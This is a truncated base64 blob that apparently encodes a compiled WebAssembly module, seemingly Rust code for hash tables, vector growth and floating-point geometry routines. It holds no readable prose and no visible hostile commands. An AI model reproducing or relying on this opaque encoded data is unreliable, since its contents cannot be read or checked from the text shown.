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QAAAAtBwABBBEHAw8MAKAIAIgBBpAYgABsRAAAAC0HwAEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALQRRBBEHAw8MAKAIAIgBBpAYgABsRAAAACwALQRBBBEHAw8MAKAIAIgBBpAYgABsRAAAAC0EgQQRBwMPDACgCACIAQaQGIAAbEQAAAAtBJEEEQcDDwwAoAgAiAEGkBiAAGxEAAAALkwkBC38jAEEQayIMJAAgASAAKAIAIgUoAghPBEAgDEEIaiIGQQA6AAQgBkF/NgIAIAFBAWoiCyEHAkAgBSgCCCIIIAtPDQAgDC0ADCEJIAwoAgghCiAIIQcgCyAIayINIAUoAgAgCGtLBEAgBSAIIA0QuQQgBSgCCCEHCyAFKAIEIAdBBHRqIQQgDUECTwRAIAEgCGsiBkEDcSEOIAhBf3MgAWpBA08EQCAGQXxxIQYDQCAEQn83AgggBCAJOgAEIAQgCjYCACAEQThqQn83AgAgBEE0aiAJOgAAIARBMGogCjYCACAEQShqQn83AgAgBEEkaiAJOgAAIARBIGogCjYCACAEQRhqQn83AgAgBEEUaiAJOgAAIARBEGogCjYCACAEQUBrIQQgBkEEayIGDQALCyAOBEADQCAEQn83AgggBCAJOgAEIAQgCjYCACAEQRBqIQQgDkEBayIODQALCyAHIA1qQQFrIQcLIAggC0YNACAEQn83AgggBCAJOgAEIAQgCjYCACAHQQFqIQcLIAUgBzYCCAJAIAAoAgQiCSgCCCIIIAtPDQAgCCEGIAsgCGsiCiAJKAIAIAhrSwRAIAkgCCAKELkEIAkoAgghBgsgCSgCBCAGQQR0aiEEIApBAk8EQCABIAhrIgdBB3EhBSAIQX9zIAFqQQdPBEAgB0F4cSEHA0AgBEL////7////v383AgggBEL////79///v/8ANwIAIARB+ABqQv////v///+/fzcCACAEQfAAakL////79///v/8ANwIAIARB6ABqQv////v///+/fzcCACAEQeAAakL////79///v/8ANwIAIARB2ABqQv////v///+/fzcCACAEQdAAakL////79///v/8ANwIAIARByABqQv////v///+/fzcCACAEQUBrQv////v3//+//wA3AgAgBEE4akL////7////v383AgAgBEEwakL////79///v/8ANwIAIARBKGpC////+////79/NwIAIARBIGpC////+/f//7//ADcCACAEQRhqQv////v///+/fzcCACAEQRBqQv////v3//+//wA3AgAgBEGAAWohBCAHQQhrIgcNAAsLIAUEQANAIARC////+////79/NwIIIARC////+/f//7//ADcCACAEQRBqIQQgBUEBayIFDQALCyAGIApqQQFrIQYLIAggC0YEQCAGIQsMAQsgBEL////7////v383AgggBEL////79///v/8ANwIAIAZBAWohCwsgCSALNgIIIAAoAgAhBQsCQCAFQQhqKAIAIgYgAUsEQCABQQR0IgYgBUEEaigCAGoiByABNgIIIAdBDGogAjYCACAAKAIEIgJBCGooAgAiByABTQ0BIAJBBGooAgAgBmoiAiADKQIANwIAIAJBCGogA0EIaikCADcCACAAKAIIIgAoAggiBSAAKAIARgRAIAAgBRC9BCAAKAIIIQULIAAgBUEBajYCCCAAKAIEIAVBAnRqIAE2AgAgDEEQaiQADwsgASAGQeDUwAAQowcACyABIAdB8NTAABCjBwALuwgCCX8IfUEDIAJB6AFqLQAAaSILayIMIAJBPGooAgAiCmohAgJAAkACQAJAAkACQAJAIAIgDE8EQCABQQhqKAIAIg0gAkkNAUEAIAUgC0ECRiICGyIOIAxPDQIgAiAFQQBHcQ0CIAdBDGooAgAiCyABKAKQASINQQF0IgwgBigCACICakkNAyAAKgIUIRQgACoCACEVIAAqAhAhFiADKgIEIRcgAyoCACEYIAFBBGooAgAgCkECdGogDkECdGoqAgAhGSACIAVqIApqIQ4gDARAIAdBBGooAgAgAkECdGoiAiAMQQJ0aiEDIAwhCiACIQADQCALQQJ0IhEgAmoiEiAAIAAgA0YiDxsiEEEANgIAIBBBBGoiECAAIBFqIAMgDxsiA0YhACASIAIgDxsiAiARaiIPIBAgABsiEkEANgIAIBAgEWogAyAAGyEDIA8gAiAAGyECIBIgCkECR0ECdGohACAKQQJrIgoNAAsgB0EMaigCACELC0EAIA4gC0EBRiIAGyICIAtPDQQgACAOQQBHcQ0EIAdBBGooAgAiACACQQJ0akGAgID8AzYCAEEAIA0gDmoiAiALQQFGIgMbIgcgC08NBSADIAJBAEdxDQUgACAHQ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